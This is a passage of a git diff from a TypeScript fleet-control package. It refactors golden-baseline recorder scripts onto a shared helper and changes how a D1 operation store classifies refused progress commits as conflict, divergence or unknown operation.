+import { runBaselineRecorder } from './baseline-recorder.mjs'; + +await runBaselineRecorder({ + scriptUrl: import.meta.url, + noun: 'audit', + worldModule: 'packages/fleet-control/test/fixtures/fleet-audit-world.ts', + baselineFile: 'packages/fleet-control/test/fixtures/fleet-audit-baseline.ts', + run: (world) => world.runFleetAuditBaseline(), + header: `/** * GENERATED FILE — DO NOT EDIT BY HAND. * * Written by \`scripts/record-audit-baseline.mjs\` from the hand-authored world @@ -156,180 +38,36 @@ function baselineSource({ findings, ops }) { * stages, so the decomposition can be proven byte-equivalent. Verify with * \`node scripts/record-audit-baseline.mjs --check\`; any required change to * these literals is a compatibility break, not a fixture update. - */ - -import type { DriftFinding } from '../../src/fleet.js'; -import type { AuditOpLogEntry } from './fleet-audit-world.js'; - -/** Every finding \`auditFleetDrift()\` returned, in order. */ -export const AUDIT_BASELINE_FINDINGS = ${render(findings)} as const satisfies readonly DriftFinding[]; - -/** + */`, + imports: `import type { DriftFinding } from '../../src/fleet.js'; +import type { AuditOpLogEntry } from './fleet-audit-world.js';`, + exports: [ + { + name: 'AUDIT_BASELINE_FINDINGS', + key: 'findings', + jsDoc: '/** Every finding `auditFleetDrift()` returned, in order. */', + satisfies: 'readonly DriftFinding[]', + }, + { + name: 'AUDIT_BASELINE_OPS', + key: 'ops', + jsDoc: `/** * Every \`withDeploymentLease\`/\`get\`/\`put\`/\`inspect\`/\`ensureMaintenance\` * call, every \`resolver:\` invocation, and every \`lease.assertOwned()\` * call \`auditFleetDrift()\` made, in order. \`list\`/\`renew\`/\`delete\` are in * \`AuditOpLogEntry\`'s vocabulary but never appear here (defensive, unused by * this pre-decomposition world). - */ -export const AUDIT_BASELINE_OPS = ${render(ops)} as const satisfies readonly AuditOpLogEntry[]; -`; -} - -function formatGeneratedFile() { - const result = spawnSync( - PNPM, - ['exec', 'biome', 'check', '--write', BASELINE_FILE], - { cwd: REPOSITORY_ROOT, stdio: ['ignore', 'ignore', 'inherit'] }, - ); - if (result.error) throw result.error; - if (result.status !== 0) { - throw new Error('biome refused the generated baseline'); - } -} - -function describeValue(value) { - if (isComposite(value)) { - return Array.isArray(value) - ? `array(${value.length})` - : `object{${Object.keys(value).join(',')}}`; - } - return primitive(value); -} - -/** - * Structural comparison: ordered arrays, ordered object keys, exact leaf - * values. Formatting and quoting are deliberately outside the comparison. - */ -function structuralDifferences(committed, derived, path, differences) { - if (isComposite(committed) !== isComposite(derived)) { - differences.push( - `${path}: committed ${describeValue(committed)} / derived ${describeValue(derived)}`, - ); - return differences; - } - if (!isComposite(committed)) { - if (committed !== derived) { - differences.push( - `${path}: committed ${primitive(committed)} / derived ${primitive(derived)}`, - ); - } - return differences; - } - if (Array.isArray(committed) !== Array.isArray(derived)) { - differences.push( - `${path}: committed ${describeValue(committed)} / derived ${describeValue(derived)}`, - ); - return differences; - } - if (Array.isArray(committed)) { - if (committed.length !== derived.length) { - differences.push( - `${path}: committed ${committed.length} item(s) / derived ${derived.length} item(s)`, - ); - } - const length = Math.max(committed.length, derived.length); - for (let index = 0; index < length; index += 1) { - const onlyDerived = index >= committed.length; - if (onlyDerived || index >= derived.length) { - const side = onlyDerived ? 'derived only' : 'committed only'; - const value = onlyDerived ? derived[index] : committed[index]; - differences.push(`${path}[${index}]: ${side} ${describeValue(value)}`); - continue; - } - structuralDifferences( - committed[index], - derived[index], - `${path}[${index}]`, - differences, - ); - } - return differences; - } - const committedKeys = Object.keys(committed); - const derivedKeys = Object.keys(derived); - if (committedKeys.join(',') !== derivedKeys.join(',')) { - differences.push( - `${path}: committed keys [${committedKeys.join(', ')}] / derived keys [${derivedKeys.join(', ')}]`, - ); - } - for (const key of new Set([...committedKeys, ...derivedKeys])) { - structuralDifferences( - committed[key], - derived[key], - `${path}.${key}`, - differences, - ); - } - return differences; -} - -function summary(baseline) { - const distinctKinds = new Set( - baseline.findings.map((finding) => finding.kind), - ).size; - return ( - `${baseline.findings.length} findings (${distinctKinds} distinct kinds), ` + - `${baseline.ops.length} ops` - ); -} - -async function main(argv) { - const { check } = parseArguments(argv); - if (process.features.typescript !== 'transform') { - reexecuteWithTypeTransform(argv); - } - registerTypeScriptResolution(); - const { runFleetAuditBaseline } = await import(WORLD_MODULE); - const baseline = await runFleetAuditBaseline(); - - if (!check) { - writeFileSync(BASELINE_FILE, baselineSource(baseline)); - formatGeneratedFile(); - process.stdout.write( - `wrote ${BASELINE_RELATIVE_PATH}: ${summary(baseline)}\n`, + */`, + satisfies: 'readonly AuditOpLogEntry[]', + }, + ], + summary: (baseline) => { + const distinctKinds = new Set( + baseline.findings.map((finding) => finding.kind), + ).size; + return ( + `${baseline.findings.length} findings (${distinctKinds} distinct kinds), ` + + `${baseline.ops.length} ops` ); - return 0; - } - - if (!existsSync(BASELINE_FILE)) { - process.stderr.write( - `audit baseline is missing: ${BASELINE_RELATIVE_PATH}\n` + - 'run `node scripts/record-audit-baseline.mjs` on the pre-rewrite tree\n', - ); - return 1; - } - const committed = await import(BASELINE_FILE); - const differences = [ - ...structuralDifferences( - committed.AUDIT_BASELINE_FINDINGS, - baseline.findings, - 'findings', - [], - ), - ...structuralDifferences( - committed.AUDIT_BASELINE_OPS, - baseline.ops, - 'ops', - [], - ), - ]; - if (differences.length === 0) { - process.stdout.write( - `audit baseline matches ${BASELINE_RELATIVE_PATH}: ${summary(baseline)}\n`, - ); - return 0; - } - process.stderr.write( - `audit baseline drifted from ${BASELINE_RELATIVE_PATH}\n` + - `${differences.length} structural difference(s), committed vs re-derived from the unchanged world:\n` + - `${differences.map((difference) => ` ${difference}`).join('\n')}\n`, - ); - return 1; -} - -const invokedPath = process.argv[1] - ? pathToFileURL(resolve(process.argv[1])).href - : undefined; -if (invokedPath === import.meta.url) { - process.exit(await main(process.argv.slice(2))); -} + }, +}); diff --git a/scripts/record-drain-baseline.mjs b/scripts/record-drain-baseline.mjs index 0f6f5a99..a71aff87 100644 --- a/scripts/record-drain-baseline.mjs +++ b/scripts/record-drain-baseline.mjs @@ -20,135 +20,17 @@ // node scripts/record-drain-baseline.mjs # write the baseline // node scripts/record-drain-baseline.mjs --check # verify, exit 1 on drift -import { spawnSync } from 'node:child_process'; -import { existsSync, writeFileSync } from 'node:fs'; -import { register } from 'node:module'; -import { dirname, join, resolve } from 'node:path'; -import process from 'node:process'; -import { fileURLToPath, pathToFileURL } from 'node:url'; - -const REPOSITORY_ROOT = dirname(dirname(fileURLToPath(import.meta.url))); -const FIXTURE_DIRECTORY = join( - REPOSITORY_ROOT, - 'packages', - 'fleet-control', - 'test', - 'fixtures', -); -const WORLD_MODULE = join(FIXTURE_DIRECTORY, 'fleet-inventory-drain-world.ts'); -const BASELINE_FILE = join( - FIXTURE_DIRECTORY, - 'fleet-inventory-drain-baseline.ts', -); -const BASELINE_RELATIVE_PATH = - 'packages/fleet-control/test/fixtures/fleet-inventory-drain-baseline.ts'; -// `pnpm exec` rather than a hard-coded node_modules/.bin path, matching -// build-api-docs.mjs; the .bin shim location is a pnpm implementation detail. -const PNPM = process.platform === 'win32' ? 'pnpm.cmd' : 'pnpm'; - -function usage(message) { - process.stderr.write( - `${message}\nusage: node scripts/record-drain-baseline.mjs [--check]\n`, - ); - process.exit(2); -} - -function parseArguments(argv) { - let check = false; - for (const argument of argv) { - if (argument === '--check') check = true; - else usage(`unknown argument '${argument}'`); - } - return { check }; -} - -// The fixture chain (and the client it drives) is TypeScript with parameter -// properties, which Node's default strip-only mode refuses, so the script -// re-executes itself once with full type transformation. -function reexecuteWithTypeTransform(argv) { - const result = spawnSync( - process.execPath, - [ - '--experimental-transform-types', - '--no-warnings', - fileURLToPath(import.meta.url), - ...argv, - ], - { stdio: 'inherit' }, - ); - if (result.error) throw result.error; - process.exit(result.status ?? 1); -} - -// Test sources import sibling modules with `.js` specifiers, which Node does -// not remap to the `.ts` files on disk. -function registerTypeScriptResolution() { - const hook = ` - import { existsSync } from 'node:fs'; - import { fileURLToPath } from 'node:url'; - export async function resolve(specifier, context, next) { - const relative = specifier.startsWith('.') || specifier.startsWith('/'); - if (relative && specifier.endsWith('.js')) { - const target = new URL(specifier, context.parentURL); - if (!existsSync(fileURLToPath(target))) { - const candidate = new URL(\`\${target.href.slice(0, -3)}.ts\`); - if (existsSync(fileURLToPath(candidate))) { - return next(candidate.href, context); - } - } - } - return next(specifier, context); - } - `; - register(`data:text/javascript,${encodeURIComponent(hook)}`); -} - -function quoted(value) { - const escaped = value - .replaceAll('\\', '\\\\') - .replaceAll("'", "\\'") - .replaceAll('\n', '\\n') - .replaceAll('\r', '\\r') - .replaceAll('\t', '\\t'); - return `'${escaped}'`; -} - -function primitive(value) { - if (value === undefined) return 'undefined'; - if (value === null) return 'null'; - if (typeof value === 'string') return quoted(value); - if (typeof value === 'number' || typeof value === 'boolean') { - return String(value); - } - throw new Error(`unsupported baseline value type '${typeof value}'`); -} - -function isComposite(value) { - return typeof value === 'object' && value !== null; -} - -function propertyKey(key) { - return /^[A-Za-z_$][A-Za-z0-9_$]*$/u.test(key) ? key : quoted(key); -} - -// Emits readable TypeScript; `biome check --write` owns the final layout. -function render(value) { - if (!isComposite(value)) return primitive(value); - if (Array.isArray(value)) { - if (value.length === 0) return '[]'; - return `[${value.map((item) => `${render(item)},`).join('\n')}]`; - } - const entries = Object.entries(value); - if (entries.length === 0) return '{}'; - return `{${entries - .map(([key, item]) => `${propertyKey(key)}: ${render(item)},`) - .join('\n')}}`; -} - -function baselineSource({ requests, inventory }) { - return `// SPDX-License-Identifier: Apache-2.0 - -/** +import { runBaselineRecorder } from './baseline-recorder.mjs'; + +await runBaselineRecorder({ + scriptUrl: import.meta.url, + noun: 'drain', + worldModule: + 'packages/fleet-control/test/fixtures/fleet-inventory-drain-world.ts', + baselineFile: + 'packages/fleet-control/test/fixtures/fleet-inventory-drain-baseline.ts', + run: (world) => world.runFleetInventoryDrain(), + header: `/** * GENERATED FILE — DO NOT EDIT BY HAND. * * Written by \`scripts/record-drain-baseline.mjs\` from the hand-authored world @@ -157,173 +39,26 @@ function baselineSource({ requests, inventory }) { * are rewritten, so the rewrite can be proven byte-equivalent. Verify with * \`node scripts/record-drain-baseline.mjs --check\`; any required change to * these literals is a compatibility break, not a fixture update. - */ - -import type { FleetResourceInventory } from '../../src/types.js'; -import type { DrainRequestRecord } from './fleet-inventory-drain-world.js'; - -/** Every provider request the drain issued, in order. */ -export const DRAIN_BASELINE_REQUESTS = ${render(requests)} as const satisfies readonly DrainRequestRecord[]; - -/** The exact inventory the drain returned. */ -export const DRAIN_BASELINE_INVENTORY = ${render(inventory)} as const satisfies FleetResourceInventory; -`; -} - -function formatGeneratedFile() { - const result = spawnSync( - PNPM, - ['exec', 'biome', 'check', '--write', BASELINE_FILE], - { cwd: REPOSITORY_ROOT, stdio: ['ignore', 'ignore', 'inherit'] }, - ); - if (result.error) throw result.error; - if (result.status !== 0) { - throw new Error('biome refused the generated baseline'); - } -} - -function describeValue(value) { - if (isComposite(value)) { - return Array.isArray(value) - ? `array(${value.length})` - : `object{${Object.keys(value).join(',')}}`; - } - return primitive(value); -} - -/** - * Structural comparison: ordered arrays, ordered object keys, exact leaf - * values. Formatting and quoting are deliberately outside the comparison. - */ -function structuralDifferences(committed, derived, path, differences) { - if (isComposite(committed) !== isComposite(derived)) { - differences.push( - `${path}: committed ${describeValue(committed)} / derived ${describeValue(derived)}`, - ); - return differences; - } - if (!isComposite(committed)) { - if (committed !== derived) { - differences.push( - `${path}: committed ${primitive(committed)} / derived ${primitive(derived)}`, - ); - } - return differences; - } - if (Array.isArray(committed) !== Array.isArray(derived)) { - differences.push( - `${path}: committed ${describeValue(committed)} / derived ${describeValue(derived)}`, - ); - return differences; - } - if (Array.isArray(committed)) { - if (committed.length !== derived.length) { - differences.push( - `${path}: committed ${committed.length} item(s) / derived ${derived.length} item(s)`, - ); - } - const length = Math.max(committed.length, derived.length); - for (let index = 0; index < length; index += 1) { - const onlyDerived = index >= committed.length; - if (onlyDerived || index >= derived.length) { - const side = onlyDerived ? 'derived only' : 'committed only'; - const value = onlyDerived ? derived[index] : committed[index]; - differences.push(`${path}[${index}]: ${side} ${describeValue(value)}`); - continue; - } - structuralDifferences( - committed[index], - derived[index], - `${path}[${index}]`, - differences, - ); - } - return differences; - } - const committedKeys = Object.keys(committed); - const derivedKeys = Object.keys(derived); - if (committedKeys.join(',') !== derivedKeys.join(',')) { - differences.push( - `${path}: committed keys [${committedKeys.join(', ')}] / derived keys [${derivedKeys.join(', ')}]`, - ); - } - for (const key of new Set([...committedKeys, ...derivedKeys])) { - structuralDifferences( - committed[key], - derived[key], - `${path}.${key}`, - differences, - ); - } - return differences; -} - -function summary(drain) { - return ( + */`, + imports: `import type { FleetResourceInventory } from '../../src/types.js'; +import type { DrainRequestRecord } from './fleet-inventory-drain-world.js';`, + exports: [ + { + name: 'DRAIN_BASELINE_REQUESTS', + key: 'requests', + jsDoc: '/** Every provider request the drain issued, in order. */', + satisfies: 'readonly DrainRequestRecord[]', + }, + { + name: 'DRAIN_BASELINE_INVENTORY', + key: 'inventory', + jsDoc: '/** The exact inventory the drain returned. */', + satisfies: 'FleetResourceInventory', + }, + ], + summary: (drain) => `${drain.requests.length} requests, ` + `${drain.inventory.findings.length} findings, ` + `${drain.inventory.deployments.length} deployments, ` + - `${drain.inventory.routes.length} routes` - ); -} - -async function main(argv) { - const { check } = parseArguments(argv); - if (process.features.typescript !== 'transform') { - reexecuteWithTypeTransform(argv); - } - registerTypeScriptResolution(); - const { runFleetInventoryDrain } = await import(WORLD_MODULE); - const drain = await runFleetInventoryDrain(); - - if (!check) { - writeFileSync(BASELINE_FILE, baselineSource(drain)); - formatGeneratedFile(); - process.stdout.write( - `wrote ${BASELINE_RELATIVE_PATH}: ${summary(drain)}\n`, - ); - return 0; - } - - if (!existsSync(BASELINE_FILE)) { - process.stderr.write( - `drain baseline is missing: ${BASELINE_RELATIVE_PATH}\n` + - 'run `node scripts/record-drain-baseline.mjs` on the pre-rewrite tree\n', - ); - return 1; - } - const committed = await import(BASELINE_FILE); - const differences = [ - ...structuralDifferences( - committed.DRAIN_BASELINE_REQUESTS, - drain.requests, - 'requests', - [], - ), - ...structuralDifferences( - committed.DRAIN_BASELINE_INVENTORY, - drain.inventory, - 'inventory', - [], - ), - ]; - if (differences.length === 0) { - process.stdout.write( - `drain baseline matches ${BASELINE_RELATIVE_PATH}: ${summary(drain)}\n`, - ); - return 0; - } - process.stderr.write( - `drain baseline drifted from ${BASELINE_RELATIVE_PATH}\n` + - `${differences.length} structural difference(s), committed vs re-derived from the unchanged world:\n` + - `${differences.map((difference) => ` ${difference}`).join('\n')}\n`, - ); - return 1; -} - -const invokedPath = process.argv[1] - ? pathToFileURL(resolve(process.argv[1])).href - : undefined; -if (invokedPath === import.meta.url) { - process.exit(await main(process.argv.slice(2))); -} + `${drain.inventory.routes.length} routes`, +}); diff --git a/scripts/record-migration-baseline.mjs b/scripts/record-migration-baseline.mjs new file mode 100644 index 00000000..a59c6f27 --- /dev/null +++ b/scripts/record-migration-baseline.mjs @@ -0,0 +1,104 @@ +// SPDX-License-Identifier: Apache-2.0 + +// Records the golden baselines of `migrateFleet()` (src/fleet.ts, before its +// R4-C.2 decomposition into a bounded frozen-plan executor), for the two +// hand-authored worlds in +// packages/fleet-control/test/fixtures/fleet-migration-worlds.ts: +// - the SUCCESS world: the exact records `migrateFleet()` returns AND the +// exact sequence of calls it makes onto its `store`, `backendFor`, +// `specFor`, `secretsFor`, and `settlementFor` collaborators (the "op log"); +// - the STOP world: the exact refusal it rejects with, beside the op log that +// proves first-error stop parity — the first record's whole body, the +// refused record's two-token preamble prefix, and nothing at all for the +// record the drain never reaches. +// +// The baselines must be recorded from PRE-REWRITE code, so this script writes +// exactly one file — the generated literals — and never touches the worlds it +// drives. `--check` re-derives all four values from the unchanged worlds and +// compares them STRUCTURALLY against the committed module's exports, so the +// compatibility gate never depends on formatter behavior; it writes nothing. +// +// This script is a re-recording aid, not a CI gate: the in-suite equivalence +// titles in packages/fleet-control/test/fleet-migration-golden.test.ts are the +// automatic behavioral gate. +// +// Usage: +// node scripts/record-migration-baseline.mjs # write the baseline +// node scripts/record-migration-baseline.mjs --check # verify, exit 1 on drift + +import { runBaselineRecorder } from './baseline-recorder.mjs'; + +await runBaselineRecorder({ + scriptUrl: import.meta.url, + noun: 'migration', + worldModule: 'packages/fleet-control/test/fixtures/fleet-migration-worlds.ts', + baselineFile: + 'packages/fleet-control/test/fixtures/fleet-migration-baseline.ts', + run: async (world) => { + const success = await world.runFleetMigrationSuccessBaseline(); + const stop = await world.runFleetMigrationStopBaseline(); + return { + successResult: success.result, + successOps: success.ops, + stopError: stop.error, + stopOps: stop.ops, + }; + }, + header: `/** + * GENERATED FILE — DO NOT EDIT BY HAND. + * + * Written by \`scripts/record-migration-baseline.mjs\` from the hand-authored + * worlds in \`fleet-migration-worlds.ts\`. It freezes the observable behavior of + * \`migrateFleet()\` (src/fleet.ts) before it is decomposed into a bounded + * frozen-plan executor, so the decomposition can be proven byte-equivalent. + * Verify with \`node scripts/record-migration-baseline.mjs --check\`; any + * required change to these literals is a compatibility break, not a fixture + * update. + */`, + imports: `import type { FleetRecord } from '../../src/types.js'; +import type { MigrationOpLogEntry } from './fleet-migration-worlds.js';`, + exports: [ + { + name: 'MIGRATION_SUCCESS_BASELINE_RESULT', + key: 'successResult', + jsDoc: `/** Every record \`migrateFleet()\` returned for the success world, in order. */`, + satisfies: 'readonly FleetRecord[]', + }, + { + name: 'MIGRATION_SUCCESS_BASELINE_OPS', + key: 'successOps', + jsDoc: `/** + * Every collaborator call \`migrateFleet()\` made for the success world, in + * order: the store's \`withDeploymentLease\`/\`get\`/\`put:\` + * and \`lease.assertOwned()\`, every \`resolver::\` invocation, every + * backend call, and every settlement. The finalized-state provider's six + * tokens and the state reconcile's \`put:upload-authorized\`/\`put:uploaded\` are + * in \`MigrationOpLogEntry\`'s vocabulary but never appear here: no world holds + * a finalized-ordinary-plane record. + */`, + satisfies: 'readonly MigrationOpLogEntry[]', + }, + { + name: 'MIGRATION_STOP_BASELINE_ERROR', + key: 'stopError', + jsDoc: `/** The exact refusal \`migrateFleet()\` rejected the stop world with. */`, + satisfies: 'string', + }, + { + name: 'MIGRATION_STOP_BASELINE_OPS', + key: 'stopOps', + jsDoc: `/** + * Every collaborator call \`migrateFleet()\` made for the stop world before it + * rejected, in order. First-error stop parity is the SHAPE of this log: the + * first record's whole body, then the refused record's \`withDeploymentLease\` + * and \`get\` — the two calls its refusal fires after — and then nothing, because + * the drain never reaches the third record. + */`, + satisfies: 'readonly MigrationOpLogEntry[]', + }, + ], + summary: (baseline) => + `${baseline.successResult.length} migrated records, ` + + `${baseline.successOps.length} success ops, ` + + `${baseline.stopOps.length} stop ops`, +}); From 00ef38490d3579ac76f4d1ca6674456654023d63 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sat, 5 Sep 2026 16:09:10 +0400 Subject: [PATCH 070/169] fix(fleet-control): a lost race in the operation store is a conflict The operation store's convergence read, which runs after a guarded commitProgress batch is refused, compared the batch's row bytes against the persisted rows before it looked at the persisted run record. A refused batch carrying an item update whose target row another actor had legitimately rewritten therefore reported the durable-corruption identity. The migration coordinator will be the only caller that updates item rows, and it has a sanctioned concurrent writer: an operator abandonment, which fails the operation at the same target revision an in-flight step intends, so a normal unblock followed by a re-drive would have read as corruption. The revision number cannot tell the two apart; the persisted run record can. The convergence read now checks, in order: that the operation row still exists; every claimed watermark against the persisted rows; that the persisted run record is byte-for-byte this call's intended transition; and only then each target row's bytes. A pruned operation reports the unknown-operation identity ahead of any watermark claim. A watermark the rows do not satisfy, a persisted run record that is some other transition, and a missing target row all report the conflict identity, which the caller retries or fails closed on. The divergence identity now means exactly one thing: the intended transition is persisted and one of its rows carries other bytes. That is reached by out-of-band mutation of the staged rows, or by a lease that expires mid-batch and leaves an earlier row statement behind: a later attempt composing other bytes for that row has its insert dropped by the store's do-nothing conflict rule, its own batch lands, and if its response is lost that same call's convergence read finds the transition persisted over the earlier bytes. It stays a halt. Without the lost response the same sequence succeeds at the next revision over the earlier bytes, which this commit leaves as it was. Corruption that also moved the run record reads as a conflict rather than a halt, which the method comment records. Tests: the store suite re-pins the refused-row-update leg of the watermark title and the guarded item-row update title to the conflict identity, the latter as the stale-replay instance, and gains two titles: an abandonment followed by a stale item update reports the conflict identity with the persisted failed record and the staged row intact, and a claim against an operation removed through the shipped prune path reports the unknown-operation identity. The divergent-replay title keeps the divergence identity unchanged. The real-D1 harness gains a migration-kind probe whose accepted item update executes the row update's aliased dense-prefix conjunct on the real planner. The changeset states the classification. Verification: typecheck, Biome, 128/128 over five test files, D1 harness 48/48, three recorded baselines match, architecture 31/31, docs 55. Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_012csLGuRVDj7qGD6NWcc6Bn --- .changeset/bounded-fleet-audit.md | 2 +- .../src/d1-fleet-operation-store.ts | 102 +++++++++--- .../fixtures/fleet-state-harness-probe.ts | 64 ++++++++ .../test/fleet-operation-store.test.ts | 145 ++++++++++++++++-- .../test/state-store.harness.test.ts | 12 ++ 5 files changed, 294 insertions(+), 31 deletions(-) diff --git a/.changeset/bounded-fleet-audit.md b/.changeset/bounded-fleet-audit.md index 0e07201f..192b4fdc 100644 --- a/.changeset/bounded-fleet-audit.md +++ b/.changeset/bounded-fleet-audit.md @@ -12,6 +12,6 @@ Add a bounded, resumable fleet drift audit API with a durable, provider-neutral - Per-call cost is not free: every advance call that runs a stage chunk re-reads the pinned generation in full and re-pages the accumulated `record` rows; a record-processing `per-record` call additionally re-pages the accumulated `fact` rows. Each stage-running call also structurally re-parses every accumulated `record` row through three plain-data traversals. That three is this coordinator's own ingress only: against the D1 store each of those same rows additionally costs a `JSON.parse` of the stored payload and the staged-row codec's own bounded-plain pass, so the real per-row constant factor is higher than three. `finding` rows are never re-paged. A stale token, a `start`, and a `finalize` call read neither. - Aggregate cost: one bounded audit spans `1 + records + Σ max(1, ⌈stage_i / maxItemsPerCall⌉)` stage-running calls, for a `maxItemsPerCall` held constant across the operation — the option is per-call, so varying it between calls changes the count: one per-record-to-finalize transition, one processing call per record, and at least one call per global stage. The sum runs over the eleven global stages rather than over distinct sources: `deployment-gaps`, `namespace-expectations`, and `r2-expected` each chunk the audited-record array independently, so that one array is walked by three separate stage runs. Every such call re-reads O(G) generation rows and re-pages and structurally re-parses O(R) accumulated `record` rows. In the records-dominated case, this is O(records) full generation re-reads, O(records²/1,000) accumulated-row page reads, O(records²) billed rows read, and O(records²) structural `FleetRecord` re-parses at three plain-data traversals each, the dominant CPU term. This checkpoint's in-memory suite measured roughly 0.25 ms per record-row re-parse and roughly 0.5 s for one `per-record` call over 1,001 accumulated rows. Multiplying the first figure by that row count accounts for about half the second; the remainder is the call's fixed cost: the pinned-generation re-read, both row pagings, and the record's own provider step. Read the per-row rate as the 0.25-to-0.5 ms band those two figures bracket rather than as a single constant, and as an order of magnitude from in-memory fakes rather than a production measurement. A late per-record call at the 10,000-record ceiling therefore spends seconds of isolate CPU re-parsing before its provider work. The per-call guarantee covers bounded provider work and bounded emission, not bounded CPU or bounded rows read. See the fleet control guide for the full envelope. -Caller input at the operation store's public surface is now refused with a fixed message that names the input rather than with the durable-corruption identity. A `start` whose operation id is not a lowercase UUIDv4 refuses with `operationId must be a lowercase UUIDv4` instead of throwing `FleetOperationStateError`; `D1FleetOperationStore.readOperationRowsPage` refuses a `rowKind` outside the row-kind vocabulary or an `afterOrdinal` that is not a non-negative safe integer below `Number.MAX_SAFE_INTEGER`; and `withAccountOperationLease` and `pruneFleetOperations` refuse a kind outside the operation-kind vocabulary. At the package's public surface `FleetOperationStateError` no longer reports caller input; a persisted row that fails its codec, and malformed operation state a coordinator composes inside its lease, still raise it. Three store guarantees tighten alongside it. `failOperation` accepts at most one `updateRow`, refusing more with `failOperation accepts at most one updateRow`, which is the count its atomicity guarantee actually holds for. `finalizeOperation` and `failOperation` now refuse an operation id that belongs to the other operation kind at their terminal probe, where they previously could read that operation's record back as their own success. And a `commitProgress` refused on a row watermark now persists no row: every row statement of its batch carries a watermark precondition that nothing in the batch can change, so no row statement of a watermark-refused batch can land, and a batch whose own inserted ordinals below a claimed watermark are not the contiguous run ending at it is refused before any statement runs. +Caller input at the operation store's public surface is now refused with a fixed message that names the input rather than with the durable-corruption identity. A `start` whose operation id is not a lowercase UUIDv4 refuses with `operationId must be a lowercase UUIDv4` instead of throwing `FleetOperationStateError`; `D1FleetOperationStore.readOperationRowsPage` refuses a `rowKind` outside the row-kind vocabulary or an `afterOrdinal` that is not a non-negative safe integer below `Number.MAX_SAFE_INTEGER`; and `withAccountOperationLease` and `pruneFleetOperations` refuse a kind outside the operation-kind vocabulary. At the package's public surface `FleetOperationStateError` no longer reports caller input; a persisted row that fails its codec, and malformed operation state a coordinator composes inside its lease, still raise it. Three store guarantees tighten alongside it. `failOperation` accepts at most one `updateRow`, refusing more with `failOperation accepts at most one updateRow`, which is the count its atomicity guarantee actually holds for. `finalizeOperation` and `failOperation` now refuse an operation id that belongs to the other operation kind at their terminal probe, where they previously could read that operation's record back as their own success. And a `commitProgress` refused on a row watermark now persists no row: every row statement of its batch carries a watermark precondition that nothing in the batch can change, so no row statement of a watermark-refused batch can land, and a batch whose own inserted ordinals below a claimed watermark are not the contiguous run ending at it is refused before any statement runs. Which identity a refused `commitProgress` reports is now decided in the store's own order: the operation row first, so a refusal against an operation that no longer exists reports `no fleet operation ''`; then the claimed watermarks and the persisted run record, so a watermark the persisted rows do not satisfy, or a persisted record that is a different transition — another actor's `failOperation` abandonment, a later step, a lost race — reports `fleet operation '' is no longer at the expected revision`; and only then the target rows' bytes. The staged-row divergence identity, `fleet operation '' staged rows diverge from the persisted operation`, narrows to match: it now means the persisted run record is exactly this call's intended transition while a target row carries other bytes. Out-of-band mutation of the staged rows reaches it, and so does a lease that expires mid-batch and leaves an earlier row statement behind: a later attempt that composes other bytes for that row has its insert dropped by the store's do-nothing conflict rule, its own batch lands, and if its response is lost the convergence read finds the transition persisted over the earlier row's bytes. It stays a halt rather than a retry because the persisted rows are then not the persisted transition's rows, and it remains an opportunistic cross-check of the rows one refused batch targeted rather than a corruption detector. The new `readFleetAuditFindingsPage()` resolves to a `done`-discriminated result: `{findings, done: true, nextAfterOrdinal?}` or `{findings, done: false, nextAfterOrdinal}`. No existing public export changes shape, and the Worker subpath is unchanged. diff --git a/packages/fleet-control/src/d1-fleet-operation-store.ts b/packages/fleet-control/src/d1-fleet-operation-store.ts index 941d79b0..72882b0f 100644 --- a/packages/fleet-control/src/d1-fleet-operation-store.ts +++ b/packages/fleet-control/src/d1-fleet-operation-store.ts @@ -840,6 +840,68 @@ export class D1FleetOperationStore implements FleetOperationStore { return this.#commitConverged(operationId, runRecord, payloads, watermarks); } + /** + * Classifies a `commitProgress` batch whose run update returned no rows, + * by re-querying every persisted authority. Every firing point, in the + * order it is reached here: + * + * 1. no operation row at all -> `unknownOperation`. Read FIRST, so a + * PRUNED operation reports its own identity instead of whatever claim + * happens to fail against its deleted rows: prune drops the rows and + * the record in one batch, so every NON-ZERO watermark claim over a + * pruned operation is unsatisfiable (a claim of zero is satisfied by + * no rows at all); + * 2. a claimed `expectedRowWatermarks` entry the persisted rows do not + * satisfy -> `operationConflict`: the persisted transition demonstrably + * did not carry this call's precondition; + * 3. a persisted run record that is not this call's intended transition -> + * `operationConflict`: a different transition landed (another actor's + * abandonment, another step, a lost race). The revision alone does not + * discriminate that, because abandonment targets the SAME revision a + * stale in-flight commit intends; the run record does; + * 4. the intended run record persisted while a TARGET ROW carries other + * bytes -> `operationDivergence`; + * 5. the intended run record persisted while a target row is MISSING -> + * `operationConflict` at the `complete` guard: a guard-refused row + * statement returns zero rows without throwing, and `batch()` rolls + * back only on a THROWN statement, so the run update can land while a + * row statement of the same batch does not. + * + * Reaching none of the five means the transition converged. The call + * whose OWN batch landed while its response was lost passes the + * run-record equality without replaying anything: `intended` IS the + * record that call just persisted, no rebuild involved. It converges + * when the persisted target rows are its own, and it halts on + * divergence when an earlier landed row at the same ordinal carries + * other bytes — the case the paragraph below walks. A replay of that + * identical composed object behaves the same way. + * + * A record recomposed with a fresh `updatedAt` never converges, because + * the equality is whole-record: that restamp is the shipped audit + * coordinator's convention (`fleet-audit-advance.ts`, at each of its + * four `commitProgress` records), and it is what makes a lost race + * between two drivers of the same audit transition read a CONFLICT. A + * recomposed retry of the SAME transition would read one too, but that + * coordinator never composes one: it re-derives the NEXT transition + * from the persisted record. A record recomposed DETERMINISTICALLY from + * the persisted record is byte-identical instead, so it passes the + * equality and converges, and a re-derived retry under that rule + * reaches divergence when its rows differ. The restamp is a convention + * no type or test enforces — the same file composes the START record's + * `updatedAt` deterministically from the audit clock. + * + * Identities 1-3 running ahead of the row bytes narrowed divergence but + * did NOT empty it. It means the persisted run record is exactly this + * call's intended transition while a target row carries other bytes, + * which out-of-band mutation of the row table reaches, and so does a + * sanctioned sequence: a lease expiring mid-batch lands an earlier row + * statement while the run update refuses, a later attempt composes other + * bytes for that ordinal, and that attempt's own batch lands (`DO NOTHING` + * keeps the earlier bytes) with its response lost. It stays a halt because + * the persisted rows are then not the persisted transition's rows. This + * was never a corruption DETECTOR in any case — it only ever cross-checked + * the rows one refused batch happened to target. + */ async #commitConverged( operationId: string, intended: FleetOperationRunRecord, @@ -849,19 +911,8 @@ export class D1FleetOperationStore implements FleetOperationStore { }>[], watermarks: readonly [FleetOperationRowKind, number][], ): Promise { - let complete = true; - for (const { row, bytes } of payloads) { - const stored = await this.#db.query( - `SELECT payload FROM ${ROW_TABLE} - WHERE account_id = ? AND operation_id = ? - AND 